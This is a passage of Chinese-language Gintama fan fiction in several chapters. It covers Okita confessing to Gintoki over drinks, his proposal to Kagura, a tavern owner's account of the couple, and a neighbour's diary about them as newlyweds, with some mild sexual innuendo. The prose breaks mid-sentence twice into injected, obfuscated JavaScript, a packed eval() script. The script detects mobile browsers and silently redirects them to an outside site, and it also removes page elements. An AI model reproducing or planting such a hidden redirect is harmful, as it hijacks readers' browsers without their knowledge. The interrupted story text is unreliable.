神乐扑哧一笑,抱住了眼前比自己大一圈的身体。冲田一边抱怨“好疼”,一边把脸埋在神乐的肩头。 把手指伸进一直想触摸的亚麻色,指缝间滑过的触感很舒服,她轻轻叹了口气。 “冲田。” “什么?” “我饿了阿鲁。” “真是的!气氛也太糟糕了,我们去吃个饭吧,小姐。” “想去阿鲁,但是走之前新八准备好了饭,没吃就跑出来了。” “是吗?那我送你回万事屋吧。” “你也一起来吃吧阿鲁。” “不好意思打扰了。” 注视着两人牵着手亲密地走出房间的背影,衣柜上传来欢送的笑声。 2. 第 3 章 江户笼罩在夜色中时,银时掀开熟悉的小酒馆的门帘。一进店,就在吧台看到了自己熟悉的亚麻色,一边打招呼一边走近那个男人。 “这不是总一郎吗?好久不见。” “好久不见,我叫总悟,先生。” 已经成为约定的对话是必不可少的。他看了看冲田,确认没有烟灰缸和蛋黄酱后,指了指他旁边的座位。冲田伸出手掌说“请”,从他的气氛和穿着和服的样子来看,应该是一个人来的。 从认识他到现在已经过了两年,他仍然是一头蓬松的头发和一双明亮的眼睛,但五官和体格都变得精悍了。也许正因为如此,在这样的小酒馆里也混得很熟。 “老爹,热酒。” “好的。” 银时一坐下,冲田就招呼店主。把端上来的酒盅递给银时,倒上热酒。 “什么?你请客吗?” “不,我只是偶尔想让人听我发发牢骚。” 银时微微睁大了眼睛。 因为工作的关系,委托的时候顺便被发牢骚是常有的事,也习惯了。可是这个男人的上司和监察发牢骚倒也罢了,一向与牢骚无缘的冲田居然会说出这样的话来,他是那种会成为故事素材的男人。 不过银时对这个说出稀奇话的男人既惊讶又有点高兴。冲田虽然是个抖S又是真选组的干部,但在银时看来,他还是个和新八年龄相差无几的青年,他也有想让和自己职场无关的人听的事情吧。 “真拿你没办法。既然你付了钱,那我就听你说。” 和冲田拿起酒杯,轻轻喝了一口。 “然后呢?看来你还是一如既往地放纵自己啊?” 扬起一边的眉毛斜眼看了看冲田,可能是觉得被取笑了吧,冲田毫不掩饰心中的不快,一口喝干了酒盅里剩下的酒。 加上刚才冲田点的酒壶,总共只有两瓶,可能已经醉得很厉害了。银时目不转睛地盯着这个平时看起来飘飘然的男人罕见的表情。 冲田注意到银时的视线,目光游移了一会儿,然后用手抵住下巴,淡淡地晃了晃酒杯。 “哪里,我已经忍耐了很多了,她总是动不动就嚷嚷。” “嗯,可以理解。” “真了不起啊老爷,真是心领神会。” “我又不是大人,我是社长。” 冲田的回答,让他确信对象就是刚才进店时确认过的那个男人,大概是今天又做了什么事挨了批评吧。 “虽然我是按照自己的方式去做的,嘛,我也知道她不是因为不喜欢我。” 对于难得说话拐弯抹角的冲田,心中同样是把玻璃剑的银时,察觉到他似乎害怕被对方讨厌。 “嘛,如果年龄相差这么大的话,价值观是什么呢?在阿银这样优秀的大人看来,两者都是一样的。就算看起来很了不起,那家伙的内心还是个小鬼吧?” 冲田又点了几样下酒菜,银时一边自说自话地往嘴里塞,一边安慰冲田,可能是因为喝了酒的缘故,冲田显得格外饶舌。 “确实,动不动就来挑衅,永远都是个小鬼,却对我百般刁难,真是太过分了。” “总一郎总是一副若无其事的样子!毫无自觉吗?是天然的抖s吗?” 吐槽是新八的职责,不过在这个场合也没办法。冲田把自己看得太高了,不由得脱口而出。 脑海中浮现出总是青筋直竖地吐槽的土方,突然觉得面对冲田,也许所有人都会偏向他。 (啊,神乐!只有那家伙,冲田会变成吐槽的一方…) 但遗憾的是神乐也不在现场。在宇宙的某处寻找秃头的父亲和需要讨伐的外星人。没办法,我只好担任醉汉冲田的吐槽角色。 “太过分了,旦那。嗯,不过,我也不讨厌别人对我好,抱怨也不是真心的。” “哎,你还挺宽容的嘛。” “不过,能玩弄她的只有我自己。说真的,我希望旦那能回避一下。” “我才没有!是对方主动靠近我!那家伙在模仿我!” 是投缘还是不投缘?银时自己也会和土方一见面就对骂,有时也会毫不吝啬地帮忙。但那是出于必要的驱使,并非平时就习惯了。 对这样的银时感到土方被夺走了,冲田虽然视他为眼中钉,却意外地对他很亲近。 (这么说来,他们是从同一个乡下出来的?) “我知道旦那你并没有那种想法,但是……那家伙不是经常顶撞你吗?” 冲田把毛豆放进嘴里,嘟起了嘴。这难道不是在闹别扭吗?银时看到冲田像孩子一样坦率的态度,不禁放松了表情。 “真让人意外,没想到你这么死板啊。话说回来,你们在你们那里被用什么眼光看待啊?不会被误解吧?” “嗯,老实说,会被人说不是在交往吗?” “你看!很糟糕吧!本来就是男人家庭嘛!男人也会说什么有没有啊?” “你们那边呢?” “不知道!应该说是不想知道!” “啊,果然还是不知道啊。” “人们传言背鳍尾鳍都粘在一起了!很快就会传开的哦!!” 虽然不甘心也不想说出口,但这是一对很有名气的人。这样一来,不仅在真选组内,在整个江户都会成为传闻。冲田用比平时更清澈的眼神看着事不关己却焦虑不安的银时,缓缓地歪着头。 “嗯…没有关系,就算有人说也没关系。” “对吧!如果没有那样的打算的话……什么?” “没关系,真的。我想,这样的话周围的人才会更加坚信我们的关系。” “喂喂喂!!” 银时看着斜上方滔滔不绝的冲田,伸出双手示意。恰到好处的酒精一下子飞走了,头脑也一下子冷静下来。 银时为了恢复醉意和冲劲,把变温的酒倒进酒杯里灌进喉咙,冲田皱着眉头盯着这样的银时。 “什么事啊,老爷?” “啊,冲田……我能问你一个问题吗?” “啊。” “嗯……莫非你喜欢他?” “…是啊。” “不,不是这样的……对了,你爱他吗?” 脸颊微微泛红应该不是酒精的缘故吧,现在脸色还很正常。不知为何,银时也跟着脸红了,但他无暇顾及这些。 (这么说…原来是这样啊…不不真的吗!不,你告诉我这是骗人的!!) “…是的,说起来有点不好意思,但她是唯一一个真正理解我的人。” 两人稍微对视了一下,冲田倏地转向与银时不同的方向。从被头发遮住的耳朵里,可以清晰地看到染红的耳根,刚才稍微对上的眼睛非常认真。 (真的吗…那个鬼之副长和这个抖S王子…莫非这家伙姐姐的时候发生了一场纠纷就是因为差点被姐姐抢走了土方!?) 银时的脑海里绽放着蔷薇。 自己住在一个叫作歌舞伎町的地方,又是一个成熟的成年人,很清楚恋爱的形式有很多种。即便如此,像这样面对面地听到熟人之间日久生情的故事,还是会感到惊讶,而且都是男人。 但是,既然有这样一个抱怨的人依赖着自己,就应该减轻他心中的沉重。对银时来说,虽说自己是外人,但和他们其实已经是一段孽缘了。 但银时忽然想起刚才从冲田嘴里说出的重要的词。 “我能问你一个问题吗?” “什么事?” “你刚才不是说你们在交往是真的吗?” “是的,我们在交往。” 冲田盯着银时,点了点头。 “哎哎哎哎哎!!!” 银时从椅子上灵巧地跳起来,大腿重重地撞在柜台后面。更大的惊吓让他感觉不到疼痛。 老板大喊: “阿银,不要破坏商店!”更让他的背上流着冷汗。 既然已经听到了这个消息,就不能再当做什么都不知道了。银时用新端上来的热酒润了润嘴,然后定下心来问道。 “啊,真的吗……我知道了……什么时候开始的?” “嗯……半年左右吧。” 在这期间,当然也和土方或冲田见过面,两人也曾在一起见过面。 (那时他们已经是我不认识的两个人了吗!?) “咦?意外的长?” “嗯,想想刚认识的时候,我想我们的关系应该不会太久。” 的确如此,银时点了点头。 被吓了一跳之后,看热闹的劲头又一次涌了上来。银时借着这家居酒屋的热气和醉意,决定多打听打听。 “从谁那边开始交往的?” “是我吧。实在无法忍受周围的人对她抛媚眼,想快点把她变成自己的东西。” “好青春啊~话说回来,你是那种很执着的类型啊。” “虽然多少有些强迫的地方…我带她去了很多地方,用食物驯服了她。” “嗯,确实那种嗜好很容易理解……” 大概是买到了蛋黄酱王国的优惠券吧,那土方也会改变想法吧。 “而且她也说和我在一起很开心。” “不愧是抖M啊…” 银时对土方佩服得五体投地,那么多次被火箭筒轰成黑人,被下毒,被日复一日地威胁着生命,居然还会觉得开心……听他说话的样子,冲田似乎掌握了主导权。土方虽然有着“鬼之副长”的名号,但他还是一直被这个男人牵着鼻子走,无意识地顺从了S吧。 “倒不如说她是抖S…” “我知道他脾气暴躁,但那倒不是!” 银时抱着胳膊,直截了当地说,土方不可能是抖S。 “旦那果然知道的很清楚啊,果然很狡猾。” 不知什么时候,毛豆已经吃得只剩下壳了,让老板把毛豆撤下来,冲田伸手去拿薯条。 “适可而止吧,会影响你的工作吗?” “你知道我没做什么大不了的事吧?虽然会到处飞来飞去,但只是叼着那种东西走路而已,所以只能认为很空闲。” 冲田叼着薯条晃来晃去,大概是把它当成土方总是叼着的香烟吧。 银时斜眼看着不知不觉间越来越多的空酒壶,也感到了相当的醉意,冲田的眼睛也渐渐垂了下来。 “我喜欢的东西,无论如何都不想放开。而且一旦做过,就再也不能回到不认识的时候了。” “噗!咳咳!!!啊,也、也是啊……已经交往了半年了啊!咳咳!!” “没事吧?不过,从旦那的角度来看,可能会受到打击,不过,这样就算打过招呼了…” “嗯,好吧,有什么好跟我打招呼的?我也不知道该怎么回答才好,所以只能说随便你吧。” “你这么说,我想那家伙也会放心的。” “不不,不用担心!阿银在蚊帐外就足够了!” 银时用老板递过来的毛巾擦着脸和桌子,这个男人在说什么?” “到时候我再好好跟你打招呼。” “真的不用麻烦,啊!祝你幸福!” “被旦那祝福了我真的很高兴啊。虽然我不介意别人好奇的眼神,但是那家伙好像很在意和别人不一样的事情,我结婚的时候有点犹豫。” “结婚、结婚!?能结婚吗??” “以前是不行的,但现在可以了,公所可以受理。” “这样啊……” (唉,真的吗!已经聊到这个地步了!?) “请叫我去参加婚礼!我想你应该知道,我有带家徽的裙裤!” “那是当然的,毕竟是亲戚。” “不不不,我不懂你的意思!如果要我做婚礼现场的工作人员也可以!” “要是她知道旦那你说了这种话,一定会伤心的,所以你一定要出席!” 冲田转向银时,握着他的手,用认真的眼神看着他,这是男人下定决心的眼神。 银时咽了一口唾沫。 “好…好的…” (不不不!怎么感觉是我被求婚!是年长杀手吗?) 冲田没有注意到汗流如瀑的银时,暴露出来的解放感让他继续说。 “既然已经被旦那发现了,我就直说了,不过虽然平时很自大,在被子上还是相当听话的。但是不管怎么做,好胜的眼神还是让人受不了。总之,就像我一开始说的那样,被驯服的人是我,真的觉得没有她就不能活下去啊!” “哈哈哈……原来是这样啊……” 冲田滔滔不绝地讲着床上的事情,虽然觉得不可能,但银时还是不由自主地想象起来了。他的手因为动摇而发抖,啪嗒啪嗒地把酒都溢了出来。冲田一脸诧异地看着这一切,却没有制止的意思。 “旦那,你洒了很多酒啊。” “没关系!只是因为我在抖腿!” “嗯,我是绝对要结婚的,所以不用避孕了吧?旦那?” “啊!?啊,不,不是生物学上的不行吗…不好好地戴上的话…疾病什么的不要紧吗?” 银时觉得大脑就像自己的头发一样一片空白。这个世界上有很多不需要知道的事情,但他似乎是一头扎进去了。 “你说什么呢?我们的脸都很漂亮,孩子们也绝对有漂亮的脸。” “孩子…这样啊!对不起!在阿银不知道的时候人类进化了啊!哈哈哈。” “如果是旦那的话,之后有了孩子会给你抱的……我要去上厕所,你随便帮我点些什么吧。” 冲田迈着坚实的步伐走向厕所,看起来完全不像烂醉如泥的样子。 “老板,来一杯冰……” “你脸色不好吗?阿银,要适可而止啊。” “没事没事,又不是酒的问题。” 向店主轻轻挥了挥手,悄悄叹了口气。如果有手机的话,想搜索的东西很多,但很不巧,没有那种高级商品。 银时感到非常疲惫,呆呆地望着天空。虽然有那么多的信任……即便如此,也太夸张了吧?是自己的无知吗…… “……喂!” “…啊!” 陷入思考之海的银时耳边传来熟悉的声音,回头一看,土方竟然站在那里。 “哈?原来是你这个醉汉。对了,总悟来了吗?” “啊……正在上厕所,你来接他吗?” 银时无法像往常一样去攻击土方,噘着嘴说些无关痛痒的话。 “我有东西要给他。那家伙根本不接电话,即使不当班也不在屯所。” “你居然知道我在这里。” “因为是我们常去的地方,所以先到这里碰碰运气,结果只看到你这家伙。” (原来是熟悉的约会场所啊!) “怎么了?这不是土方先生吗?” 不知何时回到银时身边的冲田注意到了土方的存在,对他说。 “总悟,你怎么不接电话!” “没想到你这么想见我。那么,你是怎么回事?” “别说得那么恶心,我是顺路来的。” 因为冲田的揭露,之前毫不在意的对话看起来有了别的色彩。土方点了热酒,就这样坐下来开始喝。 因为银时旁边空着两个座位,所以土方在银时旁边坐下。如果自己先挪开一个位置就好了,已经晚了,陷入了被冲田和土方夹在中间的窘境。 (我,打扰了吧?需要我察言观色回去吗?) 银时神情紧张,有些低声下气。 “总悟,你别喝太多,明天不是上早班吗?” “烦死了,土方你这个混蛋!你是老妈吗?这种私人生活都要管……” 冲田的态度就和去厕所之前一样,让银时松了一口气。如果夹着自己亲热的话,就无法保持理智了。 土方喝着酒瞥了银时一眼,银时回瞟了一眼,毫不在意地喝了一口。 “喂,万事屋知道那件事吗?” “啊,看来你不知道啊……刚才我跟旦那说了。” “果然是这样啊,不过他竟然没发火。” 噗!! “真脏!连酒都不会好好喝吗?” 又用扔过来的毛巾擦了擦脸。 “咳咳!咳咳!讨厌,是你的错!或者说,除了在我面前,你可以做任何你喜欢的事情!” “是吧?出乎意料的是,旦那竟然是个放任主义者。” “是吗?那就好。我去巡视的时候,房地产公司的老板托我交给你。他说还有等待取消的客人,要你早点确认。” “啊,真不好意思。” 银时看着递过来的信封,冲田从信封里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“差不多该回来了。等她联系我,我就去接她。现在还没有什么大的猎物吧?要是有的话,土方自己一个人想办法控制住他。” “混蛋,这是两码事,不过万事屋还是原谅了你,我还以为他会比亲生父亲更过分保护呢……” “大概是因为在万事屋浴室和沙发上折腾,所以才察觉到的吧。虽然旦那看起来是这样,但我还是不能小看他啊……啊!” 冲田边说边从怀里掏出手机,简短地叫了一声,然后动起手指操作起来。 “中国姑娘回来了吗?早会之前回来一次吧。” “我下班了吧,土方混蛋。” “再不走的话,饿肚子的中国姑娘马上就要被诱饵钓上来了。从这里的话,马上就能打到出租车了吧。” “多谢款待!” “你小子!把钱付了…可恶!” 冲田迈着轻快的步伐,完全不像刚喝过酒的样子,潇洒地离开了店,只留下账单。 “咦?冲田呢?” 银时在厕所里沉吟了一会儿,慢慢回到座位上,发现旁边的座位空着。厕所只有他一个人,去哪儿了? “她来电话了,他去接她。今天应该不会回来了吧?” (接?是去回收大猩猩吗?) 刚才一直盯着看的装有文件的房地产中介公司的信封也不见了。 “是吗?不过话说回来,我也没想到他会那么认真,因为平时总是飘飘然的。虽然你看起来很为难,但你一定很高兴吧?” “那家伙看起来很古怪,其实恋爱观很认真,和我们不一样。” 土方把酒壶里的酒一股脑儿地倒进银时的酒杯里。一口喝下,原本冰冷的喉咙一下子热了起来。 “银先生才没有污秽!” “你全身都是污秽吧?” “烦死了!你明明是装模作样的鬼副长,实际上却是个被人随便摆弄的抖M !” 冲田回去后,又来了个吐槽的人,银时出于解放感,直接从酒壶里倒出酒来。 “谁是抖M !不要把我和近藤先生放在一起!” 暂且不提近藤,土方心想,银时喝酒的样子果然还是因为女儿被夺走了,心里不平静。从刚才他对冲田的理解来看,银时的心胸宽广,让他有一种想陪他尽情畅饮的心情。 “算了,今天就陪陪女儿被抢走的可怜父亲吧。” 土方喃喃自语的声音并没有传到怂恿喝酒的银时耳中。 “哎哎!!真的吗?小银?” 在终点站附近的酒店房间里,神乐一边吃着桌子上挤得满满的饭菜,一边瞪圆了眼睛。 “真的,说不定他早就发现了。” “小银,我还以为他会很容易寂寞,会反对呢。我也跟爸比说过,虽然掉了很多头发,但是没有资格指责阿鲁,那个秃头说会把你杀到不会死的程度。” “你是怎么说的啊!一点也没有让他接受吧!你看…” 神乐把空盘子堆在一起,冲田把信封放在空出来的地方。神乐从里面拿出一张有好几张相似图的文件,头顶上浮现出问号。 “这是去宇宙之前说过的房子的平面图,看起来不错的已经暂时订下来了,不过好像有要取消的,明天去看看吧。” “哦哦哦!!厉害啊!有好多啊,你的推荐是?” 冲田绕到神乐身后,卷起文件。 “嗯……啊,就这样。因为我得到了许可,让旦那也看了看,地点在屯所和万事屋之间。” “厉害!!汽车阿鲁!明天最先去这里!” 冲田把嘴唇凑到神乐的脖子上,轻轻吸了一口。 “你好像很喜欢,真是太好了。不如顺便去趟公所吧?” “公所?为什么啊?” “……顺便把名字也给我吧。” 冲田在神乐的脖子上嘟嘟囔囔地说着,把白金戒指戴在她的左手无名指上。神乐眨了眨眼,举起左手看了一会儿,把手放在还把脸埋在脖子里的男人的额头上,让他抬起头来。 她转身近距离窥视冲田的眼睛,眼里露出不安的神色,神乐呵呵一笑。 因为种族的差异,神乐很少见地担心会不会给冲田带来麻烦,但他在自己去宇宙的时候找到了房子,跳进了这个说服银时接受自己的男人的怀抱,虽然神乐自己也对星海坊主说过要结婚。 “…为什么?” 对着露出诧异表情的男子,用力拍了拍他的额头。 “那就好好说吧,芋头武士!这样还算是男人吗?” 冲田咂了咂嘴,用力推开额头,环视了一下房间,走到装饰柜跟前,把什么东西藏在背后回来了。 跪在坐在椅子上的神乐面前,从背后递出一朵红玫瑰。 “明天我把剩下的107根给你……请和我结婚吧。” “嗯哼,我很乐意接受。” 神乐从冲田手中接过玫瑰,露出一个美丽的微笑。 “但是为什么是108根?是烦恼吗?” “我不知道。你和我都满是烦恼,不也挺好的吗?” “是啊,尤其是这只手,真是烦恼。” 神乐没有理会探入裙里的手,而是用胳膊搂住了冲田的脖子。 第二天,趁着冲田参加晨会的时候,神乐来万事屋放行李,发现倒在玄关的银时,不禁叹了口气。 “永远都是无可救药的样子啊……今后要想办法好好地找到被子,定春也不在了哟?” 把行李交给定春,把银时一抬起来就能闻到一股烟味,立刻就明白他是和谁在喝酒了。关系很好的阿鲁…边微笑边让他侧躺在被窝里。 “总一郎~祝你快乐…” 她用左手轻轻地摸了摸说梦话的银时的棉花糖头,一下子就看到了自己无名指上闪闪发光的银色。 “小银,谢谢你,我会幸福的。” 神乐的自言自语被银时的鼾声掩盖了。 傍晚,神乐和冲田一起回到万事屋,向银时报告了签下房屋契约和入籍手续的事,几乎把万事屋的屋顶都炸飞的尖叫在歌舞伎町中回荡。 银时在之后的婚宴演讲中说道。 “人生最重要的不是三个袋子,而是主语。” 3. 酒 “太迟了。” “我可没你那么闲。” “几年前还闲得发慌的家伙却这么说。” 位于歌舞伎町一角的居酒屋的吧台座位,每周五晚上八点。他们是约好了,还是不约而同地这样见面呢?俊男美女见面后在我们店里边喝酒边互相发牢骚的情景已经成了惯例。 “大叔,来杯啤酒。” 橘色长发披在耳边,小姐想点菜,真选组的队长就把菜单递给她。今天吃什么好呢,她把手指放在嘴边,两眼放光。 “总之,就是平时的鸡肉串和葱花!” “好嘞!” 把啤酒递给小姐的同时回答点单,看着手拿啤酒杯痛快地喝着酒的她,队长的脸通红,就连上了年纪的大叔都看得出来。是因为先喝了鬼嫁酒的缘故吗? 串上烤串,放到烤台上开始烤。在噼里啪啦的声音中,酒过三巡的小姐飞快地说着话。 “最近的男人们都太弱了,居然会被那么弱的外星人吓到。” “哦。” “最后,那个人躲在神乐大人的背后,对外星人说:‘来吧!’然后我把他打倒了,结果他说:‘成功了!我不怕外星人。’这是狐假虎威吗?” “要不要从毅力开始重新锻炼一下?” “如果被你的乌烟瘴气侵蚀了你会无法恢复的,驳回。” 她笑着把先送到的毛豆送进嘴里,把鬼嫁倒进酒杯,送进喉咙。队长,你这是什么表情?哎呀,两个人注意得太多,差点烧焦了。把烤好的鸡肉串放在盘子上端到小姑娘面前。“嗯~”地幸福地吃东西的样子也会让我感到幸福。 “老爹,再来点鸡胗和鸡皮。” “好啊!” “大叔,我也追加鸡肉串!这个赏月菜也想吃!” “啊,我也是。” 两人的牢骚没有停止,是副长的事吗?“土方那混蛋还没死呢。”“说起来都快三十岁了还在做这种事吗?真是小鬼。”小姐责备道。还有,“上次跟小银说要去打头盔的时候被拒绝了。”“如果这么说的话,你才是小鬼吧。”没完没了的抱怨,没完没了的菜和酒。队长先生已经停止吃东西了,但小姐的手永远在动。可能是对刚才拜托的赏月菜非常满意吧,今天的那份几乎都被小姐吃光了。 *** “对了,他之前向我求婚了。” “什么?” 啪! 小姐突然的言论,吓得我也摔碎了盘子。队长一改刚才愉快的表情,露出讶异的表情,店内的空气明显冷了下来。 “老爹,你没事吧?” “没事,没事,对不起。” 我的事就算了,听小姐说吧,我抑制住说话的欲望,蹲下身子收拾盘子。从上面传来的是喝醉了酒,口语不稳的两个人的对话。 “哦……有交往的人吗?” “没有。” “那是什么?求婚?你知道是什么意思吗?” “突然被说了。虽然是不认识的家伙…但是很拼命啊。” 一阵沉默,店里已经只有两个人了。能听到的只有“咕咚”喝酒的声音。喂喂喂喂,大叔很难站起来啊。只是对小姐求婚的那家伙着急了吧,想要得到自己所爱的女人的心情,我不是不能理解。只是太着急了,但是我不能把这些告诉队长…… “你是怎么回答的?” “我拒绝了,我也不是会马上回答这种陌生男人的求婚的女人。” “哦……” 队长把手里的酒一饮而尽,深深叹了口气。 “居然迷恋上你,脑子有问题吗,真傻。” “什么?!” 喂喂喂,好不容易才站起来,你说什么呢?有些话不能对成年女性说。 “你不知道…在这期间,我也变成淑女了!” “外表我承认,但内在什么都没变吧?” “你说什么……!!” “啪”的一声放下啤酒杯,不用看也知道,小姑娘现在很生气。不知道为什么,我预感到两人要是在这里吵起来,后果将不堪设想,正想上前调解的瞬间。 “是吗……” “什么?” “老爹,你听我说。” 呃?在喊我吗?好不容易站了起来,看到队长抱着鬼嫁酒瓶,把身体压在桌子上,低着头。脸已经通红了。 “刚刚回来的China啊……” china是指小姐吗? “不,队长,小姐还在旁边呢。” 旁边是因酒和愤怒而满脸通红的小姑娘。“你已经开始无视我了吗?”她怒吼道,但队长似乎已经意识模糊,完全听不进去,只是目不转睛地盯着这边。 “我一直很喜欢她。” 说出这句话时,队长的表情前所未有地放松。我看了看小姑娘,她张大了嘴。这是当然,因为我也张不开嘴。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012491|148600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我是在她十四岁的时候遇到她的,她还是个不折不扣的小鬼……” “嗯嗯。” 我强行捂住自己的嘴,一边点头一边听队长说话,小姑娘已经出神了。 “但是……在我自己都不知道的情况下……呜……那家伙越来越深入我的心里,一直缠绕在我的脑海里挥之不去。” “嗯。” “刚开始的时候,当然不想让你知道我爱上了你吧?就算死也不想说自己先爱上你……” “这就是男人的自尊心。” “嗯,大概是这样吧……” 把杯子里剩下的酒一饮而尽。 “在旁边看着越来越迷恋的女人变得越来越漂亮……啊,没有人不着急的吧。” “那当然,一直看着就会变成这样。” “有好几次,我都表现出了那种样子…说我可能喜欢上她了…如果怀疑的话,那她也会在意的吧?” 不,这怎么说呢,我虽然这么想,但还是点了点头。 “可是,那个可恶的家伙却没有注意到…更别说在迷恋你的男人面前,被一个不知哪里来的家伙求婚了…简直是在拷问…呜啊…” “队长,你相当喜欢小姐啊。” “十年了……所以……” 他咕哝了一句,就喝得酩酊大醉,醉倒了。啊呀,睡着了。朝发出“咣”的一声的方向望去,听队长说得入神而忘记存在的小姐从椅子上站了起来,把手环在自己的脖子上,抱住了他。 “大叔,给你添麻烦了。谢谢你听他发牢骚。” 大概是从醉酒中清醒过来了吧,她的口齿很稳。 “这个不能直接对本人说的芋头,有必要重新敲打一下。” “嗯,大叔拜托你,就对他温柔一点吧。” “取决于他自己阿鲁。” 她微微一笑,脸颊红红的,是酒的缘故吗?还是…… 付了钱,说着“我走啦”,带着睡眼惺忪的队长回去了。我目送着她的背影,回到店内。一边收拾一边想起队长说那句话时的脸。 “十年了……所以……” 不知为何,他的脸上充满了自信。十年,一直思念一个女人,这不是很了不起吗?没问题的,队长,小姐一定会的。不,再让外人牵扯进来是不是太俗气了。 我一边这么想,一边看了看两人吃完后的餐具,想着下次再来发牢骚的时候,准备点酒庆祝一下。 4. 第 5 章 【壬寅正月一日晴】 因为过年了,所以买了新的笔记本。 今年打算在这个笔记本上记录日常琐事,今天有点晚了,所以先去睡觉了。 【壬寅正月三日晴】 新年假期到今天结束了。除了去新年参拜喝甜酒之外,什么也没做,在家里一躺就过去了三天。但据说新年伊始,江户城举办了一场盛大的婚礼庆典。公主应该还是单身,是亲戚结婚了吗?我原以为这事与平民无关,没想到连市井都送来了祝贺的年糕,还算可喜可贺。 【壬寅正月七日阴】 收到了来自武家名门的宅邸改建委托,好像是将军家的剑术指导,很有钱,真让人羡慕。但回家的时候,被一个看起来很穷的老爷爷责备了,是老佣人吧。 【壬寅正月十一日晴】 隔壁搬来了一对新婚夫妇。夫妻俩都是大美人,特别是夫人,比江户第一美人、糯米团子店的阿千还要漂亮,罕见的发色和瞳孔,或许是天人吧。 夫妻俩一起来打招呼的时候,无意中对太太看入迷了,先生主动要求握手,我顺势回握,用力得骨头都快碎了。然后,他对着我露出一个漆黑的笑容,低声说了句“请多指教”。完全不好!太太很可爱,但先生需要小心。 【壬寅正月十二日晴】 从长屋的房东那里得到了越后的团子作为旅行礼物。散发着竹叶的香味,很好吃。 【壬寅正月十四日阴】 因为墙壁很薄,所以隔壁夫妇的争吵听得很清楚。这对夫妇似乎一有什么事就会发生争执,比如行李的摆放、打招呼的步骤等。经过一番争吵,最后都是丈夫让步了。不过,我觉得太太可以妥协一下,睡同一床被子,毕竟是新婚。 【壬寅正月十七日阴】 工作结束后,和同事一起去了卖煮酒的酒馆。喝了浊酒,吃了葱金枪鱼、汤豆腐、河豚汤,还有小豆汤很好吃。 【壬寅正月二十一日雨】 隔壁夫妇为煎鸡蛋的味道争执。太太家吃的是甜煎蛋,但丈夫要咸煎蛋。因为一个煎鸡蛋就能打起来,从某种意义上来说,我觉得很厉害。 顺便说一下,我是甜煎蛋派。 【壬寅正月二十五日雨夹雪】 我还以为是门关不上,原来是一张陌生的朴素面孔夹在里面。气息太平凡了,我没注意到,真是干了坏事,对不起。 那个不起眼的男人说是隔壁丈夫的部下。听说那位丈夫是真选组有名的队士。因为看到他穿着队服,我就猜到了,没想到他是哭泣的孩子都默不作声的一番队队长。我可没做什么奇怪的事,要小心别被砍了。 话是这么说,朴素男好像是奉丈夫上司的差遣来的,留下一句请多指教和伴手礼就走了。特意向部下的邻居打招呼,上司也真是过分保护。 伴手礼是蛋黄酱,但我不太喜欢,就送给了同事。 【壬寅正月二十六日雪】 雪下得很厚,一大早就变得很冷。光有火盆还不够,所以考虑是不是要买个暖桌。一边穿上棉袍,一边暂时忍耐着。 【壬寅正月晦日雨后雪】 隔壁的丈夫,试图请假失败了,戴着枫叶牌去上班。 【壬寅二月朔日雪后晴】 下班回家,发现隔壁门口有两只雪兔。是太太做的吗?我感觉很温馨,走近仔细一看,其中一只不是兔子,而是小狗。这是什么?雪犬?雪吉娃娃? ……太太的审美好像有点奇怪。 【壬寅二月三日晴】 因为是春分所以吃了惠方卷。由于不知今年的方向,所以姑且向上望了一下。 邻居好像正在撒豆子,但因为过于认真,中途就变成了枪战。怎么想都不是撒豆能发出的声音,好可怕。 【壬寅二月八日晴】 在结野主播的黑色星座占卜中是最后一名,因为被说“今天会死”所以请假了,这不是偷懒。 【壬寅二月十日晴后阴】 邻居夫妇为争夺火盆展开了对决。结果因为吵架火盆坏了,夫妻俩紧紧贴在一起取暖。说不定邻居是个傻瓜。 话说回来,他们要是也买个暖炉就好了,太温暖了。 【壬寅二月十五日晴】 今晚隔壁突然变得异常安静,突然听到一些叹气声,薄薄的墙壁咔嗒咔嗒地摇晃,一点也不安静。 嗯,这是那个意思吧?他们在进行那个事情,是吧?你们没注意到墙壁很薄吗?说真的声音也太大了吧?你们在玩什么游戏?啊啊啊啊,明天还要上班,但现在一点也睡不着! 【壬寅二月十六日晴】 清晨,和太太在门前相遇。脖子上到处都是红印,说实话真不知道该看哪里。那个丈夫明明一副若无其事的样子,却很执着。 【壬寅二月二十日阴】 今天是老板的生日,我代表大家去买花,但因为花店老板太吓人了,所以没敢买。最后在酒馆买了瓶鬼嫁酒,若无其事地送给了他。看到老板这么高兴,我松了一口气。 【壬寅二月二十四日晴】 最近很火的电视剧超级有趣,因为是最棒的,所以希望全世界的人都看到! 隔壁的太太好像也迷上了这部电视剧,在看的过程中,因为丈夫揪脸颊、性骚扰等纠缠不休的行为,吵了起来。因为听不到电视的声音所以希望安静。 之后怎么样都无所谓,如果想要关注就坦率地说出来好了。 【壬寅二月二十七日雨】 因为下雨,工作中止了。因为睡回笼觉没能从店员那里买早饭,所以只好自己做饭,吃了茶粥和事先买好的馒头。 邻居今天好像也休息,两个人睡过头了。饥肠辘辘的太太正要起身,丈夫却抓住她的脚拖进被窝,最终被发火的太太把丈夫连同被褥扔到了外面。 【壬寅三月三日晴】 桃花节,街上稀稀落落地能看到衣着光鲜的女童。虽然和我这个男人没什么关系,但我还是吃到了菱饼。 隔壁的太太,好像是从一个熟人大姐那里收到了人偶,看起来很高兴,太好了。 【壬寅三月九日阴】 邻居丈夫擅自吃了太太的冰激凌引发了混乱,丈夫不得不在半夜去买新的冰淇淋。喜欢的食物被吃了,就连我也会发怒的。所以我觉得这次是丈夫不好。 话说回来,这对夫妻只会吵架。新婚燕尔,不要紧吗? 【壬寅三月十一日晴】 甜蜜的叹息和墙壁的摩擦,不光是吵架,还好。 